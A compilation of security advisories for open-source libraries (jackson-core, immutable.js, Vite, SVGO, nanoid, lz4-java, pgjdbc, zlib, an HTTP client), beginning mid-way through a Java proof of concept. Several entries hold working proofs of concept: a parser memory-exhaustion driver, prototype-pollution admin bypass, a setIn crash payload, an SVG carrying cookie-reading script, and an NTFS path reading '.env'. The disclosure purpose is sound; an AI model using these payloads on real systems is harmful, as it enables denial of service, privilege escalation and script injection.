(p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000"); // Closing the number now finally triggers the validator. feeder.feedInput("}".getBytes("UTF-8"), 0, 1); feeder.endOfInput(); try { while (ap.nextToken() != null) { /* drive */ } } catch (Exception e) { System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]); } ap.close(); } } EOF javac -cp jackson-core-2.18.6.jar PoC.java java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC ``` Observed output against `jackson-core-2.18.6`: ``` [+] sync parser rejected 5000-digit int: StreamConstraintsException [+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000 [*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`) ``` Observed output against `jackson-core-2.21.1`: identical. The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections. ## End-to-end reproduction through real HTTP Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use. Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published) - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch - JVM: OpenJDK 17.0.18 - Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()` Endpoint under test exposes the `Flux<DataBuffer>` request body directly to `Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one HTTP chunk per `feedInput` (the same pattern used for any `@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing `}`. VULN — jackson-core 2.18.7: ``` [VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting [VULN-SMALLCHUNK] full POST sent (50000 digits). Response: HTTP/1.1 200 OK ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException: Number value length (50000) exceeds the maximum allowed (1000, ...) ``` Server-side controller trace (250 DataBuffer arrivals elided): ``` [ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1' [ctrl] DataBuffer arrived size=200 ms=42 ... [ctrl] DataBuffer arrived size=199 ms=5993 [ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}' [ctrl] ERR after 6548ms ... Number value length (50000) exceeds ... ``` Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with `maxNumberLength=1000` declared. The validator never fires during streaming; it only fires at value-completion when the closing `}` arrives. PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch): ``` [PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe [PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream ``` Server-side controller trace: ``` [ctrl] DataBuffer arrived size=6 ms=129 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=145 [ctrl] DataBuffer arrived size=200 ms=146 [ctrl] DataBuffer arrived size=200 ms=147 [ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...) ``` Patched server raises `StreamConstraintsException` at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses `maxNumberLength=1000`. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload. Side-by-side: | Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed | Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot distinguish the two builds because Spring's `decodeToMono` joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` / WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call), which is also what `Jackson2Tokenizer` uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST. ## Suggested fix Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be: ```diff protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); + _streamReadConstraints.validateIntegerLength(outPtr + negMod); return _updateTokenToNA(); } ``` Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown. Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total). Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient. ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
### Impact A Digest challenge that does not yield a usable nonce is treated as a Basic challenge. The client then answers it with `Authorization: Basic`, which carries the username and password base64 encoded and so recoverable by anyone who sees the request. Any of these is enough, sent by whoever writes the 401 or 407: ``` WWW-Authenticate: Digest realm="protected" WWW-Authenticate: Digest realm="protected", nonce="" ``` The challenge announces itself as Digest, so it passes the check that would otherwise reject a non-Digest challenge for a Digest realm. It then fails to produce a nonce, and the absence of a nonce is what selected Basic. A server offering plain `Basic` to a Digest realm gets nothing, so labelling the challenge Digest and leaving the nonce out is what makes the difference. This is reachable by anyone who can write the challenge: a malicious or compromised origin, a proxy, or an attacker on a plaintext hop. Digest exists precisely to keep the password off those hops. A server that stores only HA1, and anyone impersonating the real origin, does not otherwise learn the password itself, so the disclosure enables reuse against other services. Both the target and the proxy paths are affected, through `parseWWWAuthenticateHeader` and `parseProxyAuthenticateHeader`. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 This is long-standing behaviour on both lines, not a recent regression. On 3.0.12 there is one additional way to reach it: a quoted parameter ending in an unescaped backslash, such as `realm="C:\"`, makes the closing quote read as escaped so the nonce is never found. That trigger is specific to 3.0.12. The downgrade it led to is fixed, but the nonce is still lost on such a challenge: every conformant reader treats the closing quote as escaped. The exchange now fails instead of falling back to Basic. ### Patches Fixed in 3.0.13 on the 3.x line and in 2.16.1 on the 2.x line. The scheme now comes from the challenge itself instead of being inferred from whether a nonce was found, so a Digest challenge stays Digest even when it cannot be read. With no nonce it produces no Authorization header at all, which fails the exchange rather than downgrading it. The 3.x fix also corrects quoted-pair handling so that a backslash before any character other than a quote or another backslash is kept as written, matching Apache HttpComponents. That repairs a 3.0.12 regression where an unescaped realm such as `DOMAIN\Users` was corrupted to `DOMAINUsers` and failed every digest comparison. This is a deliberate deviation from a strict reading of RFC 9110 Section 5.6.4, under which a backslash before any character is a quoted-pair. Reading it strictly is what corrupts the unescaped spelling that servers actually send, and the decoding is not reversible either way, so the client follows the same rule as Apache HttpComponents. ### Workarounds No configuration prevents this. Until you can upgrade, do not use Digest authentication against a server you do not control, and do not use it over plaintext HTTP. ### Details `Realm.Builder.parseWWWAuthenticateHeader` and `parseProxyAuthenticateHeader` selected the scheme with `isNonEmpty(nonce) ? AuthScheme.DIGEST : AuthScheme.BASIC`, so any challenge that produced no nonce became a Basic challenge and `Unauthorized401Interceptor` resent the request using `computeBasicAuthentication`.
## Summary `List#set`, `List#setSize`, `List#setIn`, `List#updateIn` (and the functional `set` / `setIn` / `updateIn`) mishandle an index or size in the range `[2 ** 30, 2 ** 31)`: - On an **empty** `List` the operation enters an **uncatchable infinite loop** (a tight CPU spin; a surrounding `try/catch` never regains control). Only killing the worker recovers it. - On a **populated** `List` (≥ 32 elements — i.e. any array of ≥ 32 items turned into a `List` by `fromJS`) the loop allocates without bound → heap exhaustion → the **process aborts** (`SIGABRT`, exit `134`, or kernel OOM-kill `137`). A real crash, not a recoverable error. The index may be a **numeric string**, so it can come straight from a request body, URL, or key-path. A single small unauthenticated request is enough. There is also a companion **silent data-corruption** issue in `setSize`: ```js List([1, 2, 3]).setSize(2 ** 31); // before fix => size 0 (silently cleared) List([1, 2, 3]).setSize(2 ** 32 + 5); // before fix => size 5 (huge value wraps to 5) ``` ## Impact Availability only. A reachable configuration is any endpoint that routes untrusted input into a `List` index or a `setIn`/`updateIn` key-path — which the extremely common `state = fromJS(body); state.setIn(userPath, value)` pattern does (config stores, document/collection editors, redux-immutable reducers, JSON-Patch endpoints, etc.). No confidentiality or integrity impact, no RCE. The companion `setSize` bug can silently corrupt application state (wrong size) without crashing. ## Reproduction (immutable 5.1.7) ```ts import { fromJS, List } from 'immutable'; // 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x'); // 2) Empty List: hangs forever, uncatchable List().set(2 ** 30, 'x'); // 3) Silent truncation List([1, 2, 3]).setSize(2 ** 31); // => size 0 List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5 ``` A remote 43-byte HTTP request (`{"path":["items","1073741824"],"value":"x"}`) is sufficient to abort a worker that applies it via `state = state.setIn(path, value)`. Any index in `[2 ** 30, 2 ** 31)` works (`1073741824`, `2000000000`, …). An index in `[2 ** 31, 2 ** 32)` does not crash — it silently wraps (clearing the List) via the same root cause. ## Root cause `List` stores its values in a 32-wide trie (`SHIFT = 5`, so each level addresses 5 more bits) and uses **signed 32-bit bitwise arithmetic** throughout `setListBounds()` (`src/List.js`): 1. **Infinite loop (the hang / OOM).** The level-raising loop ```js while (newTailOffset >= 1 << (newLevel + SHIFT)) { newRoot = new VNode( newRoot && newRoot.array.length ? [newRoot] : [], owner ); newLevel += SHIFT; } ``` relies on `1 << (newLevel + SHIFT)`. A JavaScript shift count is taken **mod 32**, so once `newLevel + SHIFT` reaches `31` the term goes **negative** (`1 << 31 === -2147483648`) and at `32` wraps to `1` (`1 << 35 === 8`). The comparison then stays `true` forever and the loop never terminates. On a populated `List`, each iteration retains a new `VNode` (`[newRoot]`), so the heap fills and V8 aborts; on an empty `List` it spins on CPU without allocating. 2. **Silent wraparound (the `setSize` corruption).** The `begin |= 0` / `end |= 0` coercion (`ToInt32`) silently wraps large finite values (`(2 ** 31) | 0 === -2147483648`, `(2 ** 32 + 5) | 0 === 5`), producing a wrong resulting size instead of an error. The threshold is `2 ** 30`: that is the largest size for which `1 << (newLevel + SHIFT)` stays a valid positive 32-bit integer throughout the loops (`newLevel + SHIFT` stays ≤ 30). ## Remediation The fix is contained to `setListBounds()` in `src/List.js`: 1. **Validate up front, before the lossy `| 0` coercion.** Compute the intended origin and capacity in full precision and throw a clear, catchable `RangeError` when they exceed the addressable range (`MAX_LIST_SIZE = 2 ** 30`). `Infinity`/`NaN` are left to the existing `| 0 → 0` behaviour (so `setSize(Infinity)` stays `0` and `slice(0, Infinity)` still means "to the end"). 2. **Stop the shift from wrapping.** Replace `1 << exp` in the level-raising loops with a helper that uses the cheap bitwise shift while it is exact (`exp ≤ 30`, the common path including every `push`/`setSize`/`slice`) and falls back to the non-wrapping `2 ** exp` only for the rare deep trees reached when a negative origin (`unshift` / negative index) is normalized to a large positive capacity (`exp` can reach 35 there, where `1 << 35` would wrap to 8). This turns every hang, the misleading `"Maximum call stack size exceeded"`, the OOM/`SIGABRT`, and the silent `setSize` truncation into one descriptive `RangeError`, preserves all behaviour for sizes `< 2 ** 30`, and keeps the hot `push` path on the fast bitwise shift (the `2 ** exp` branch is never reached by non-negative operations). ### Is the new limit a breaking change? No working code is affected. A `List` could never actually hold `≥ 2 ** 30` values before — the attempt hung, crashed, or silently corrupted the size. The limit was already implicit in the 32-bit trie; the fix only makes it explicit and catchable, mirroring native JS arrays (`new Array(2 ** 32)` → `RangeError: Invalid array length`). The single observable behaviour change is that `setSize(hugeValue)`, which used to return a silently wrong size, now throws. `2 ** 30` ≈ 1.07 billion entries (~8 GB of pointers alone), far beyond any practical use. ## Mitigations (for users who cannot upgrade immediately) - Validate/clamp any externally supplied `List` index or `setIn`/`updateIn` key-path segment against a sane maximum before passing it to immutable. - Reject numeric path segments `≥ 2 ** 30`. - Run request handling in a worker that can be restarted, and cap the heap (`--max-old-space-size`) so an abort is contained.
## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
## Summary `Immutable.Map` and `Immutable.Set` keep keys that share the same 32-bit hash in a collision bucket that is scanned linearly. The string hash is public and deterministic, so an attacker who controls the **keys** inserted into a Map can craft many keys that all collide, degrading insertion and lookup from amortized O(1) to O(n) per operation — and O(n²) to build or read the whole set. A small, attacker-shaped payload can therefore consume disproportionate CPU and, on a single-threaded runtime such as Node.js, stall the event loop and deny service. ## Details The string hash uses the JVM-style polynomial `hashed = (31 * hashed + charCode) | 0`. Strings such as `"Aa"` and `"BB"` hash to the same value (`65*31+97 == 66*31+66 == 2112`), and concatenating such blocks yields `2^n` distinct strings sharing one hash (40 characters ⇒ >1,000,000 colliding keys). All such keys route to a single `HashCollisionNode`, whose `get`/`update` walk the entire bucket testing `is()`. There is no per-process salt, so the colliding set is fully precomputable from the open-source algorithm. ## Proof of concept Inserting N colliding keys (e.g. via `Immutable.Map(obj)` / `Immutable.fromJS(obj)`) is O(N²). Measured on one machine, ~8,000 colliding keys take ~0.7 s to build and ~0.6 s to read, scaling ×4 per doubling; ~16,000 keys exceed several seconds. ## Impact CPU-bound denial of service in applications that ingest attacker-controlled object **keys** into Immutable structures, e.g. `Immutable.Map(req.body)`, `Immutable.fromJS(req.body)`, `state.merge(userObject)` / `mergeDeep(...)`. Applications that only store attacker input as **values** under fixed keys are not affected. ## Affected versions - >= 4.0.0-beta.1, < 4.3.9 - >= 5.0.0-beta.1, < 5.1.8 - < 3.8.4 ## Patches Fixed in `5.1.8` _(adjust to the actual release)_: large collision buckets are indexed by a per-process **seeded** secondary hash, restoring near-linear behavior for the affected paths. The public `hash()` is unchanged (no breaking change), and `is()` remains the sole authority on key equality. Also fixed in 4.3.9 and 3.8.4. ## Workarounds Before passing untrusted data to Immutable.js: cap request body size, limit object key count/length, and reject high-cardinality payloads; avoid building Maps directly from untrusted object keys. ## References - CWE-407 (Inefficient Algorithmic Complexity), CWE-400 (Uncontrolled Resource Consumption) - OWASP API4:2023 (Unrestricted Resource Consumption)
An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.
yawkat LZ4 Java provides LZ4 compression for Java. Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are not affected. This vulnerability is fixed in 1.10.1.
Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "..."). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.
Vite is a frontend tooling framework for JavaScript. Prior to 8.0.16, 7.3.5, and 6.4.3, the contents of files that are specified by server.fs.deny can be returned to the browser on Windows. Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. This vulnerability is fixed in 8.0.16, 7.3.5, and 6.4.3.
pgjdbc is an open source postgresql JDBC Driver. In releases 42.7.4 through 42.7.11, channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS with channel binding to plain SCRAM-SHA-256 without it, losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection can trigger the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash, because the bundled com.ongres.scram:scram-client returns an empty byte array instead of failing and pgJDBC ScramAuthenticator checks only that the server advertised a PLUS mechanism, without rejecting the empty binding or checking that the negotiated mechanism uses channel binding. This issue is fixed in version 42.7.12.
nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.
nanoid (Nano ID) before 3.3.16 and 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.3, 3.3.4, and 4.0.2, the removeScripts plugin, named removeScriptElement in versions 1 through 3, can leave executable content in optimized SVGs because it does not remove namespaced or prefixed script elements such as <svg:script> and, in versions 3 and 4, matches JavaScript URIs case sensitively. Applications that process untrusted SVG input with this plugin enabled and serve the result can allow scripts to execute when another user opens the SVG, exposing local storage or cookies. This issue is fixed in versions 2.8.3, 3.3.4, and 4.0.2.
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3, incompletely filters executable links in plugins/removeScripts.js and lib/svgo/tools.js. The plugin does not recognize namespace-prefixed SVG anchor elements such as svg:a with href or namespaced *:href values, and it does not remove ASCII tab, line-feed, or carriage-return characters before checking URL schemes. Browsers remove those characters before parsing a scheme, allowing an executable link to pass the plugin's check. When an application processes attacker-controlled SVG input and serves the result in an active browser context, a victim who activates the surviving link can execute script in the SVG's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0.
nanoid (Nano ID) before 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.
### Summary SVGO's removeScripts plugin (disabled by default) removes scripts from the SVG, however executable scripts were left intact in some cases. If a consumer relied on this plugin for sanitization and served them to users, these SVGs could open up doors to XSS. ### Details SVGO has a plugin for removing scripts from an SVG, which removes: - `<script>` elements - JavaScript URIs (v4 and v3 only) - `on…` event handlers (v4 and v3 only) While SVGO is not a sanitization library, SVGO continues to maintain the plugin for those already using it for this purpose. However, there were two problems: - SVGO did not check namespaced/prefixed `script` elements, for example if one declared an explicit prefix for the SVG namespace ( `<svg:script>`) instead of using the default namespace ( `<script>`), the `<svg:script>` tag would be left intact. - SVGO case sensitively matched JavaScript URIs, but it should've been case-insensitive. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <svg xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:uwu="http://www.w3.org/1999/xlink" viewBox="0 0 100 100" version="1.1"> <a uwu:href="JavaScript:(() => { alert(document.cookie) })();"><text y="30">uwu</text></a> <svg:script> alert(document.cookie); </svg:script> </svg> `; optimize(original, { plugins: ['removeScripts'] }); // Did not remove <svg:script> or uwu:href="JavaScript:…—still executed by browsers. ``` ### Impact If you run SVGO on untrusted input (e.g., user uploads to a web application) and you depended on removeScripts, then some scripts may still be present. If that SVG was then opened directly by another user on the same domain, it could invoke scripts that could read local storage or cookies. This may affect you if you have enabled one of the following: | SVGO Version | Plugin Name | |---|---| | v4 | removeScripts | | v3 | removeScriptElement | | v2 | removeScriptElement | | v1 | removeScriptElement | It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches #### >= 3.0.0, <= 4.0.1 SVGO patched v4.0.2 and v3.3.4. Just upgrade the dependency using your preferred package manager! For example: ```sh yarn up svgo # or if SVGO is a nested dependency yarn up -R svgo ``` The proposed fix is to improve our namespace-aware handling to explicitly act on the default namespace, SVG namespace, and XHTML namespace only. This handles all scripts that are executed by browsers, but will leave intact custom prefixes that happen to have an element called `<*:script>` which clients shouldn't treat as executable. #### >= 2.0.0, <= 2.8.2 SVGO patched v2.8.3, however SVGO v2 explicitly only implements and documents that it will remove `<script>` elements and nothing more. It has the namespace aware handling for tags like `<svg:script>` or `<xhtml:script>`, but has **_not_** been updated to remove JavaScript URIs or event handlers like >= v3. If this is something you need, please upgrade to v4 or v3, or reach for one of the documented workarounds at the end. #### >= 1.0.0, <= 1.3.2 SVGO v1 has been deprecated for a while now and won't be patched. Please upgrade to a more recent version! If something is preventing you from doing so, please reach out! We're happy to expand our migration guides or support you if you're having trouble. ### Workarounds If your motivation for enabling the plugin is SVG sanitization, consider reaching for a dedicated SVG sanitization tool and invoke it before passing the SVG to SVGO.
nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.
### Summary Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are *not* affected. ### Details During the decompression process, the lz4 algorithm may have to repeat data that was previously decompressed in the same input frame. In the Java implementation, this is implemented by copy operations within the output buffer. With a crafted input, an attacker may induce the Java implementation to copy from a region in the output buffer that does not contain decompressed data yet. If that region contains sensitive information because the output buffer was not cleared prior to decompression, that data will then be copied to the decompressed output. - `LZ4Factory.nativeInstance().safeDecompressor()` *is not* affected. - `LZ4Factory.nativeInstance().fastDecompressor()` *is* affected because it actually uses `safeInstance()` since 1.8.1. In 1.8.0 and earlier versions, this implementation is instead vulnerable to the more severe [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), so downgrading is not a solution. - Both decompressors of `LZ4Factory.safeInstance()`, `LZ4Factory.unsafeInstance()` and `LZ4Factory.fastestJavaInstance()` are affected. - `LZ4Factory.fastestInstance()` uses the `nativeInstance` or `fastestJavaInstance` depending on platform. `LZ4Factory.fastestInstance().fastDecompressor()` is always affected, while `LZ4Factory.fastestInstance().safeDecompressor()` is affected only when JNI cannot be used (e.g. on unsupported platforms). Independent of this vulnerability, it is recommended that users migrate from `fastDecompressor` to `safeDecompressor`, as the latter is more performant (despite the name). The impact of this vulnerability depends on how user code interacts with the decompression API. Users that allocate a new destination buffer each time, or use only zeroed buffers, are not impacted. When the buffer is reused, however, the confidentiality impact can be severe. This vulnerability is marked as VC:H out of caution. ### Mitigation lz4-java 1.10.1 fixes this issue without requiring changes in user code. If you cannot upgrade to 1.10.1, you can mitigate this vulnerability by zeroing the output buffer before passing it to the decompression function. ### Relation to CVE‐2025‐12183 This CVE is a different attack than [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), affecting different implementations with different impact. This new vulnerability was discovered by [CodeIntelligence](https://www.code-intelligence.com/) during research that followed up on CVE‐2025‐12183. Users are recommended to upgrade to 1.10.1 to fix both vulnerabilities.
